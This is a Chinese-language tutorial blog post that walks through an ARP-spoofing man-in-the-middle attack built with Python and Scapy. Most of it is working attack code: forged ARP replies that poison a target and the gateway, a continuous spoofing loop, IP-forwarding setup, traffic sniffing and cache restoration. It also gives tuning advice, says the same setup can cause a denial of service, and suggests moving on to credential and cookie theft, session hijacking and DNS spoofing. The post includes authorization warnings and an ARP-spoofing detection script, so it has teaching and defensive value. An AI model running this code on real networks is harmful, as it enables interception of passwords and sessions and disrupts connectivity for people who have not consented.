☰
Python实现ARP欺骗中间人攻击:原理、代码与防御实战
2026/10/19 9:48:32 网站建设 项目流程

1. 从ARP协议到中间人攻击:项目链路完整拆解

先说结论:这个项目用Python实现ARP欺骗类型的中间人攻击,本质上是构建一个“合法”的伪造者角色,让局域网内的两台设备都以为你是它们通信路径上的下一跳。听起来很玄乎,但拆开看,底层原理其实就两条——ARP协议本身不验证身份,以及操作系统默认相信收到的ARP应答。把这两点理解透,整个项目的骨架就立起来了。

先说个生活化的类比。ARP协议在局域网里干的事,相当于一个快递员上门问路:主机A想知道主机B的网卡地址(MAC地址),就在局域网上广播一声“谁是192.168.1.100,请告诉我你的MAC地址”。正常情况下,只有192.168.1.100这台主机会回答“我是,我的MAC是XX:XX:XX:XX:XX:XX”,其他设备听到这个广播就默默忽略。

但有个漏洞:任何一台设备都可以抢答。如果有人理直气壮地说“我就是192.168.1.100,我的MAC是YY:YY:YY:YY:YY:YY”,只要这台设备的主机没有做额外的防护(比如ARP静态绑定、DAI动态ARP检测),它就会把这个应答记进自己的ARP缓存表里。下次要给192.168.1.100发包,全部发给YY:YY这个假地址。

中间人攻击要做的事情,就是同时欺骗通信的双方。攻击者告诉主机A“我是主机B”,又告诉主机B“我是主机A”,两边的流量都会先经过攻击者的网卡。这时候攻击者开启IP转发,把收到的数据包原封不动地发给真正的接收方,通信双方完全察觉不到中间多了一台设备。

这个项目选择Python实现,原因很直接:生态里有现成的网络库,Scapy能直接构造和解析ARP报文、数据包,不需要自己去处理socket层那些繁琐的字节拼装。用原生socket编程也能做,但代码量大概会多出两三倍,调试成本也跟着涨。对于学习中间人攻击原理和做防御研究的人来说,Python+Scapy是性价比最高的组合。

这个项目适合谁来学?我的判断是:正在学网络协议的人,做网络安全方向的学生或从业者,以及企业里需要排查局域网异常流量、做攻防演练的运维人员。你需要具备的基础是Python基本语法、简单的网络概念(IP、MAC、网段),不需要你之前写过任何网络相关的程序。

老规矩,先亮安全底线。文中涉及的所有技术,只允许在你自己拥有或获得明确授权的网络环境中使用,用途限定为网络安全教学、防御策略验证、安全测试。未经授权对着别人的网络做实验,这不是技术问题,是法律问题。

2. 环境准备与拓扑搭建:三台机器就能跑通的实验台

动手之前先搭实验环境。我建议最小化拓扑:一台攻击机(Python代码运行的主机)、一台目标A(被欺骗的主机)、一台目标B(被欺骗的另一台主机,或者直接是网关)。三台设备放在同一个局域网里即可,不需要联网,不需要路由器配置,交换机普通的傻瓜交换机就能跑。

2.1 依赖工具与安装清单

核心依赖只有两个:Python 3.8以上版本,以及Scapy库。Scapy是Python生态里最出名的报文构造库,支持发送、接收、解析、篡改和重放各种网络数据包。安装命令如下:

pip install scapy

如果内网环境无法直接连到镜像源,先配好内部PyPI镜像再执行安装。装完之后验证一下:

from scapy.all import * print(conf.iface) # 输出当前默认网卡

看能不能正常输出网卡信息。能输出,说明Scapy关联到了你的网卡,基础可用。Windows下还需要确认WinPcap或Npcap驱动已正确安装,Scapy发送和捕获数据包依赖这个驱动。Linux/macOS一般不用额外装驱动。

2.2 实验网络拓扑与地址规划

我建议用例子来说明。假设你的局域网网段是192.168.1.0/24,那规划成下面这个结构:

角色IP地址设备说明
攻击机192.168.1.10运行Python脚本,Linux宿主机或虚拟机
目标A192.168.1.20被欺骗的主机,用虚拟机或另一台机子
网关192.168.1.1被欺骗的“目标B”,即真实路由器

为什么要用网关当目标B?因为大多数中间人攻击的真实场景里,攻击者想要截获的是目标A访问互联网的流量,也就是目标A和网关之间的双向流量。把目标B设成网关,欺骗同时落在两边,目标A发往公网的数据包会先到攻击机,再从攻击机转给网关,返回的数据包则反方向走一遍。这个链路一旦建立,只要配合抓包,密码、会话Cookie、明文协议内容全都能看到。

2.3 攻击机的IP转发配置

Linux攻击机默认不会转发数据包。收到一个目标不是自己网卡地址的数据包时,会直接丢弃。所以必须先开启IP转发,把攻击机变成一个“路由节点”。

临时开启的方法是:

echo 1 > /proc/sys/net/ipv4/ip_forward

永久开启则修改 /etc/sysctl.conf:

net.ipv4.ip_forward = 1

用sysctl -p使其生效。开启之后,攻击机收到目的地址是目标A或网关的数据包时,会根据路由表转发出去,而不会悄悄丢包。这一步是整条中间人链路能否走通的前提,不做的话,目标A会直接断网,攻击立刻暴露。

本质上这就是一个“三角通信”问题:数据链路层上,目标A认为网关是攻击机的MAC;网络层上,目标A发出的包目的IP依然写的是网关IP,只是目的MAC写成了攻击机MAC。攻击机要做的就是把这种“数据链路层和网络层不一致”的包扛起来,按需转交。

3. Python核心代码逐模块实现:伪造、转发、恢复三个关键环节

代码是整篇博文最核心的部分。我按攻击阶段把代码拆成几个模块来讲:获取MAC地址、构造ARP应答、持续欺骗、开启转发、恢复网络。每一段都会说明为什么这样写,以及踩坑点在哪里。

3.1 模块一:获取目标的MAC地址

发起攻击前必须先知道目标A和网关的真实MAC地址。ARP欺骗的效果是“修改对方ARP缓存里那张IP到MAC的映射表”,而伪造ARP应答需要填入自己的MAC地址,所以“自己”的MAC必须在攻击机上动态获取;另外,构造一个合法的ARP应答报文时,源MAC字段必须填真实的攻击机MAC,而不是乱写。

获取本机MAC可以用:

from scapy.all import get_if_hwaddr my_mac = get_if_hwaddr("eth0") # 换成你的网卡名 print("本地MAC:", my_mac)

参数里的网卡名可以通过conf.iface直接查,也可以运行时打印所有网卡选一个。

获取目标A和网关的MAC,用ARP请求即可。发一个广播,问“谁是这个IP”,会拿到ARP响应里的源MAC:

from scapy.all import ARP, Ether, srp def get_mac(ip): pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip) result = srp(pkt, timeout=3, verbose=False)[0] if result: return result[0][1].hwsrc return None

srp会发送数据包并等待应答。返回值是一个列表,里面元素是发送包和应答包的配对。取应答包(result[0][1])的hwsrc字段,就是目标的MAC地址。如果结果为空,说明目标IP不在线,或网络有异常,这时不能继续攻击。

3.2 模块二:构造并发送ARP欺骗报文

现在写核心的攻击函数。思路是:持续向目标A发送一个伪造的ARP应答,宣称“网关IP对应的MAC是攻击机的MAC”;同样向网关发送一个伪造的应答,宣称“目标A的IP对应的MAC是攻击机的MAC”。

from scapy.all import ARP, sendp, get_if_hwaddr def arp_spoof(target_ip, target_mac, spoof_ip, my_mac): pkt = Ether(dst=target_mac) / ARP( op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip, hwsrc=my_mac ) sendp(pkt, verbose=False)

这里有个细节非常关键:构造Ether层时,dst必须填真实的目标MAC地址,是“对方的MAC”,不是广播地址。如果用 ff:ff:ff:ff:ff:ff 当目的MAC,数据包会当作广播包处理,局域网所有设备都会收到,欺骗范围瞬间扩大,容易暴露自己。而ARP层里的hwsrc必须填攻击机的真实MAC,否则即使目标收到包,ARP缓存里写入的还是乱写的MAC,转发逻辑反而会出问题。

接着是循环发送。一次ARP应答只能保证对方在收到的那一刻更新缓存,但本机ARP缓存是动态的,有超时时间。Linux默认超时很短(通常几十秒),所以要在后台持续发。实践的节奏是每1.5~2秒发一次,间隔太短会大量占cpu和网络,间隔太长则会有缓存过期导致欺骗失效的空窗期。

3.3 模块三:同时欺骗目标A和网关

组合调用上面的函数,形成双向欺骗:

import time target_ip = "192.168.1.20" gateway_ip = "192.168.1.1" target_mac = get_mac(target_ip) gateway_mac = get_mac(gateway_ip) my_mac = get_if_hwaddr("eth0") print(f"目标MAC: {target_mac}, 网关MAC: {gateway_mac}") try: while True: arp_spoof(target_ip, target_mac, gateway_ip, my_mac) arp_spoof(gateway_ip, gateway_mac, target_ip, my_mac) time.sleep(2) except KeyboardInterrupt: print("攻击停止,正在恢复网络...")

实战中我会把这个循环放在一个daemon线程里跑,主线程去执行抓包、转发、记录等业务逻辑,互不干扰。但教学演示时,一个简单的死循环足够说明问题了。

3.4 模块四:抓包与流量转发验证

欺骗成功之后,目标A发给网关的数据包已经会先到达攻击机,但此刻攻击机系统如果没开启IP转发,数据包会被丢弃,目标A表现为“断网”。所以要在开启转发的前提下,在攻击机上抓包验证。

from scapy.all import sniff, IP, TCP def packet_callback(packet): if IP in packet and TCP in packet: src = packet[IP].src dst = packet[IP].dst if src == target_ip or dst == target_ip: print(f"捕获: {src} -> {dst} | 载荷长度: {len(packet)}") sniff(prn=packet_callback, store=False)

注意sniff默认抓的是到达本机网卡的所有包,包括目标A经过攻击机转发的包,也包括攻击机自己主动构造的ARP欺骗包。所以回调里要加上IP层判断,过滤掉ARP等非IP流量,避免控制台被刷屏。如果抓到的是“来自目标A的访问公网流量”,说明链路已经通了一半,接下来还要反向验证。

3.5 模块五:恢复机制还原网络

正常情况下应该有个退出恢复。在while循环里加except KeyboardInterrupt时,或者在脚本退出前,发送正常的ARP应答,把目标A和网关的ARP缓存更正回来:

def restore_network(target_ip, target_mac, gateway_ip, gateway_mac): sendp(Ether(dst=target_mac) / ARP( op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac ), verbose=False) sendp(Ether(dst=gateway_mac) / ARP( op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac ), verbose=False)

语句里我把ip和mac信息都写进了函数参数里,调用时按顺序传入即可。恢复之后目标A会立刻重新学习到真实的网关MAC,而不用等ARP缓存自动超时。恢复机制同时是保护自己的手段,如果攻击结束后不恢复,目标A会一直处于半断网状态,很容易被察觉。

注意:如果攻击机和中途本身又变动过ARP缓存,恢复前最好先重新get_mac一下,拿到最新真实的网关MAC再发恢复包。网络环境嘈杂时,这个细节能避免“恢复失败”。

4. 实机验证与效果观测:如何确认攻击链路真的生效

写完代码不是结束,得验证。我有一整套在实验环境中反复跑过的观测流程,照做一遍,能确认攻击的每个环节是否都真正生效。

4.1 攻击前:记录目标的ARP缓存

在目标A上执行arp -a(Windows)或ip neigh(Linux),记录当前网关IP对应的MAC。比如:

$ arp -a 192.168.1.1 at 00:11:22:33:44:55 [ether] on eth0

攻击启动后,再执行一次arp -a,观察结果:

$ arp -a 192.168.1.1 at 66:77:88:99:aa:bb [ether] on eth0

后一个MAC是攻击机的。如果发生了这个变化,说明目标A的ARP缓存已经被污染,欺骗生效了。同理,在网关上(如果路由支持登录)也能看到目标A的ARP映射变成了攻击机MAC。

4.2 攻击中:用tcpdump观测转发流量

在攻击机上开tcpdump,直接观察目标A发出的真实数据包:

$ tcpdump -i eth0 host 192.168.1.20 -nn

如果能看到目标A发出的TCP SYN包、DNS请求、HTTP请求等流量,说明数据已经经过攻击机了。我虚拟环境里实测跑过,目标A打开浏览器访问一个测试站点,tcpdump这边马上能看到一串TCP连接的数据包。这时链路验证结束,没有断网,说明IP转发生效了。

4.3 攻击后:验证恢复机制

按Ctrl+C终止脚本后,回到目标A再次执行arp -a,确认网关MAC已恢复为真实MAC。恢复成功后目标A的HTTP请求不再经过攻击机,tcpdump窗口也不再有流量经过。整个“欺骗-流转-恢复”的闭环验证完成。

4.4 几个关键参数的调优心得

  1. 发送间隔:我实测2秒一次在普通交换机环境下比较稳。激进一点可以缩短到1秒,但CPU占用会明显上升;保守一点可以拉到3秒,但有些设备对ARP缓存刷新频率敏感,3秒会有偶发延迟。
  2. 是否开启转发:攻击测验时开启转发可以让目标完全无感;关掉转发则会直接变成拒绝服务式攻击。如果只是想“断网一下然后恢复”,不开转发反而是一个更直接的效果。
  3. timeout值:get_mac的srp超时我通常给3秒,局域网内如果3秒内没有回应,基本可以放弃这个目标,别硬等。

5. 常见故障排查与避坑实录

实操中遇到的问题是典型的“网络问题合集”,我的经验是分成下面几类。

5.1 目标完全断网,且ARP缓存没被改变

这是最常见的的问题。原因很可能是攻击机的IP转发没有开启,或者开启了但系统防火墙(iptables、ufw、firewalld)拦截了转发流量。排查顺序:

  • 检查 /proc/sys/net/ipv4/ip_forward 是否为1;
  • 检查防火墙默认转发策略:iptables -L -n,看FORWARD链是否为DROP;
  • 检查目标A是否启动了什么ARP抗欺骗防护(例如某些安全软件、Windows的ARP静态绑定策略)。

我的经验是:在Linux实验机上,如果开了ufw,通常需要sudo ufw allow in on eth0 或者直接把ufw关掉做测试。Windows下如果是新版本系统,还需要在防火墙里放行Python的入站和转发权限。

5.2 欺骗生效,但抓不到任何上层协议包

ARP缓存被改了,目标是往攻击机发流量了,但sniff就是没抓到IP包。这种多数是Snapy监听网卡选错了,或者使用了包含混杂模式未启用的特定系统。网卡默认只接收“目的MAC是自己”的包,但攻击机接收到的这些流量目的MAC确实是自己(因为目标A以为网关MAC是攻击机),理论上应该能抓到。但有些操作系统默认没有开启混杂模式,而目标A发给外网的数据包目的IP不是本机,如果IP转发又没开,这些包可能在网卡驱动层面被丢弃。

解决方法:用sniff(iface="eth0")显式指定网卡,并用sniff(prn=callback, store=False, iface="eth0");或者在系统里开启混杂模式:ip link set eth0 promisc on。另一种可能性是sniff在过滤条件写错了,比如回调里的IP判断写错字段,可以先打印packet.summary()看看实时抓到的到底是什么。

5.3 目标A的流量经过了攻击机,但目标A无法上网

这跟前文断网问题的区别是,ARP缓存正常被改、包确实到了攻击机,但同时也丢了。根因通常是转发链路里“路由不对称”。攻击机需要转发数据包时,会查自己的路由表,如果攻击机只有一个网卡IP、也没有配置NAT/SNAT,那么它转发出去的数据包源地址依然是目标A的IP,归程数据包回到网关时会继续尝试寻找目标A的ARP。这个思路没问题,但前提是网关能够正确ARP到目标A,也就是网关那边的缓存已经被攻击机改写。如果网关是某些企业路由器,启用了ARP保护、动态ARP检测(DAI),则欺骗会对网关失败。对策是以网关身份发伪造应答给目标A,同时用更缓慢可靠的频率欺骗网关。如果网关无法欺骗,整个链路只能做到“单边截获”,目标A到公网的流量会被截获,但回程流量仍走直连,这样离线分析的完整性会被破坏。

初学者最容易忽略的一点:目标A和攻击机必须在同一个广播域。跨交换机的时候如果交换机开了端口隔离或路由,ARP广播虽然会透传,但终端的隔离特性会阻断后继流量。实验环境里我把所有设备接到同一个普通交换机下,基本没遇到这类问题。

5.4 Scapy发送数据包报PermissionError

Scapy构造ARP数据包需要原始套接字权限。在Linux上,普通用户执行会报权限错误,必须加sudo运行。Windows上,对应的是使用管理员权限运行命令行。这个问题甚至会导致刚安装完Scapy但sendp永远没反应,误以为是网卡驱动问题。

提示:在Linux下建议直接sudo python3 arp_spoof.py运行全部测试。另外,如果你要用流量转发,iptables -t nat的链可能还需要额外配置,但本项目实验环境里只要开启ip_forward就能通。

6. 防御视角与合法边界:被攻击方如何自检与应对

讲完攻击实现,再从防御角度聊几句。一个合格的网络安全学习者,应该同时理解攻击和防御两个维度。

6.1 检测ARP欺骗的常见思路

网络里出现ARP欺骗时,有几个特征可以被监控到:

  • 同一IP对应两个不同MAC:ARP缓存表里出现IP地址相同但MAC不同的记录;
  • ARP应答频率异常:正常情况下,一个IP不会频繁发送ARP应答包,如果看到某个MAC在局域网内大量发送ARP应答,有欺骗嫌疑;
  • 网关MAC发生变化:用arp -a看到网关MAC变成了一个陌生地址,说明已经被污染。

检测脚本的简易实现思路是周期性主动查询局域网内每个IP的真实MAC,例如用ARP请求向所有活跃IP发探测包并维护一张IP->MAC映射表,一旦发现同一个IP被映射到不同MAC,立即报警。

from scapy.all import ARP, Ether, srp import time known_mac = {} def scan_network(ip_base="192.168.1.0/24"): pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_base) ans, _ = srp(pkt, timeout=2, verbose=False) for sent, recv in ans: ip = recv.psrc mac = recv.hwsrc if ip in known_mac and known_mac[ip] != mac: print(f"[告警] IP {ip} MAC变更: {known_mac[ip]} -> {mac}") known_mac[ip] = mac while True: scan_network() time.sleep(10)

这个脚本在实验网里跑,能直接抓到攻击机的MAC地址变化。企业网络里更完善的方案是使用交换机的DAI功能,或在关键主机上做网关的ARP静态绑定。

6.2 合法使用的边界:授权到底指什么

必须把授权这件事说透。授权不是口头说一句“我做测试”就算数。有效的授权至少包括:你拥有网络资产的处置权,或者与你达成书面协议的委托方明确允许对指定的系统做此类测试。测试范围也要限定在指定网段、指定时间段、指定内容。超出这个范围的任何行为(哪怕出于好奇),都不属于技术讨论范畴。

在实际的渗透测试项目中,ARP中间人攻击只是入口之一,通常用来截获认证信息、进行会话劫持或配合更高级的流量分析。但这类手法在合规要求极严的环境下并不常直接使用——一旦涉及真实生产的网络流量,数据泄漏风险和法律后果都很难控制。我强烈建议,所有实验都放在虚拟化平台(本地虚拟机、隔离的物理网络)里做,不要拿公司办公网、校园网直接搭台子。

6.3 这个项目的扩展方向

基于这个基础demo,值得继续做下去的方向有几个:

  • 流量数据定向分析,例如从截获的HTTP流量里解析身份凭据、Cookie;
  • 双向劫持TCP会话,配合TCP序列号嗅探实现连接劫持;
  • 结合DNS欺骗钩子,把目标域名解析DNS请求改为攻击机IP;
  • 做成更完整的持久化攻击框架,加入多线程、日志持久化、远端控制接口。

但如果要让我给一个“接下来值得做”的优先级建议,我更推荐先补一遍TCP/IP协议栈基础,把“为什么IP转发能通”这件事吃透,再往上层协议走。网络层原理不清,做的越多代码越危险。

我个人实验的体会是:这套代码真正有价值的地方不是你跑通了ARP欺骗,而是你能在跑通之后重新审视“信任”这个概念——ARP协议为什么信任一个广播包?你的设备为什么信任某个MAC?而交换机凭什么不拦截?每个问题打开来看,都是一整块网络安全的入门基石。这个项目的意义在于,它帮你把这些基石用最直观的方式挖出来了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询